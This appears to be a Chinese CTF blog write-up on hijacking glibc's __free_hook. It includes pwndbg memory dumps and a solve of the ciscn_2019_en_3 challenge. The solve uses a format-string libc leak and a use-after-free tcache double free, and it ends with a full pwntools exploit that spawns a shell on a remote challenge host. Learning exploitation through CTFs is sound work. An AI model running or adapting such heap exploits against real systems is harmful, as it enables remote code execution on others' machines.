free_hook

文章发布时间:

最后更新时间:

free_hook的调用

1
2
3
4
5
6
void (*hook) (void *, const void *)= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}

对应的汇编代码

1
2
3
4
5
6
7
.text:00000000000736F4                 sub     rsp, 8          ; Alternative name is 'cfree'
.text:00000000000736F8 mov rax, cs:__free_hook_ptr
.text:00000000000736FF mov rax, [rax]
.text:0000000000073702 test rax, rax
.text:0000000000073705 jz short loc_73710
.text:0000000000073707 mov rsi, [rsp+8]
.text:000000000007370C call rax

free_hook的存储的位置,在 free_hook上方 -0xb58 我们可以找到满足top_chunk要求的大小
libc-2.27.so

1
2
3
4
5
6
7
pwndbg> p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff7dcf8e8 <__free_hook>
pwndbg> x/8gx 0x7ffff7dcf8e8 - 0xb58
0x7ffff7dced90 <initial+16>: 0x0000000000000004 0x05fc5621ed6fad69
0x7ffff7dceda0 <initial+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcedb0 <initial+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcedc0 <initial+64>: 0x0000000000000000 0x0000000000000000

伪造的fastbin的addr为0x7ffff7dced90
当程序可以在该位置申请chunk的时候,通过重复向top_chunk申请
最终覆写__free_hook的值为system的值通过free /bin/sh\x00的chunk,达到程序流劫持getshell。

修改global_max_fast
通过fastbin attack 使得可以申请指定大小的,包含free_hook的chunk,比如利用0x7ffff7dced98处的值,但是这里要合理去构造偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/50gx 0x7ffff7dcf8e8-0xC00
0x7ffff7dcece8 <lock.10026+8>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcecf8 <maxmap>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced08 <string_space_max>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced18 <lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced28: 0x0000000000000000 0x0000000000000000
0x7ffff7dced38 <lock+8>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced48 <phys_pages.8062>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced58 <last_environ>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced68 <envlock>: 0x0000000000000000 0x0000000000000000
0x7ffff7dced78: 0x0000000000000000 0x0000000000000000
0x7ffff7dced88 <initial+8>: 0x0000000000000001 0x0000000000000004
0x7ffff7dced98 <initial+24>: 0x05fc5621ed6fad69 0x0000000000000000
......

看个例题8~
ciscn_2019_en_3

1
2
3
4
5
6
7
[*] '~/ciscn_2019_en_3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled```

程序只实现了add和delete
main函数里的_printf_chk能泄露libc地址

1
2
3
4
5
6
puts("What's your name?");
read(0, buf, 0x20uLL);
_printf_chk(1LL, buf);
puts("Please input your ID.");
read(0, s, 8uLL);
puts(s);

_printf_chk有两个参数,第一个参数0x1代表保护级别存入寄存器rdi,第二个参数才是我们输入的格式化利用字符串%p-%p-%p存入寄存器rsi。
动调发现寄存器rcx存放的是read+17的地址
根据64位linux下前6个寄存器传参的习惯(rdi/rsi/rdx/rcx/r8/r9)
此处已经用了两个寄存器。
所以第二个%p将会打印出rcx存放的值。

1
2
3
4
5
6
RCX  0x7ffff7af2031 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x20
RDI 0x1
RSI 0x7fffffffe2a0 ◂— 0xa61616161 /* 'aaaa\n' */
R8 0x11
R9 0x7ffff7fe1500 ◂— 0x7ffff7fe1500

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_BE9()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]

v3 = __readfsqword(0x28u);
if ( dword_20204C > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &v2);
*((_DWORD *)&unk_202060 + 4 * dword_20204C) = v2;
v0 = dword_20204C;
*((_QWORD *)&unk_202068 + 2 * v0) = malloc(v2);
puts("please inpute the story: ");
read(0, *((void **)&unk_202068 + 2 * dword_20204C), v2);
++dword_20204C;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}

delete存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_D32()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(*((void **)&unk_202068 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

打one_gadget没穿

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

最后打的是将free_hook改为system,第二个堆块写’/bin/sh\x00’

1
2
3
4
5
6
[+] read        : 0x7f8e125b6070
[+] libc_base : 0x7f8e124a6000
[+] sys_addr : 0x7f8e124f5440
[+] one_gadget : 0xff1c2499b322
[+] malloc_hook : 0x7f8e12891c30
[+] free_hook : 0x7f8e128938e8

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

libc = ELF('libc-2.27.so')
elf = ELF('./ciscn_2019_en_3')
#p = process('./ciscn_2019_en_3')
p = remote('node4.buuoj.cn',29868)

def add(size,buf):
p.recvuntil("Input your choice:")
p.sendline(str(1))
p.recvuntil("Please input the size of story: \n")
p.sendline(str(size))
p.recvuntil("please inpute the story: \n")
p.sendline(buf)
def free(idx):
p.recvuntil("Input your choice:")
p.sendline(str(4))
p.recvuntil("Please input the index:\n")
p.sendline(str(idx))

one_gadget = 0x4f322

p.recvuntil("What's your name?\n")
p.sendline(b"%p-%p-%p")
p.recvuntil("-")
info = p.recvuntil("-", drop=True)
info = int(info.decode("ISO-8859-1"), 16)-17

read = libc.sym["read"]
libc_base = info-read

sys_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + one_gadget

p.recvuntil("Please input your ID.\n")
p.send("a")

# alloc to libc
add(0x20, "a") # 0
free(0)
free(0)#double_free chunk0
add(0x20, p64(free_hook)) # 1
add(0x20, "/bin/sh\x00") # 2
add(0x20, p64(sys_addr))
#pause()

free(1)
#gdb.attach(p)
success("read : " + hex(info))
success("libc_base : " + hex(libc_base))
success("sys_addr : " + hex(sys_addr))
success("one_gadget : " + hex(one_gadget))
success("malloc_hook : " + hex(malloc_hook))
success("free_hook : " + hex(free_hook))
p.interactive()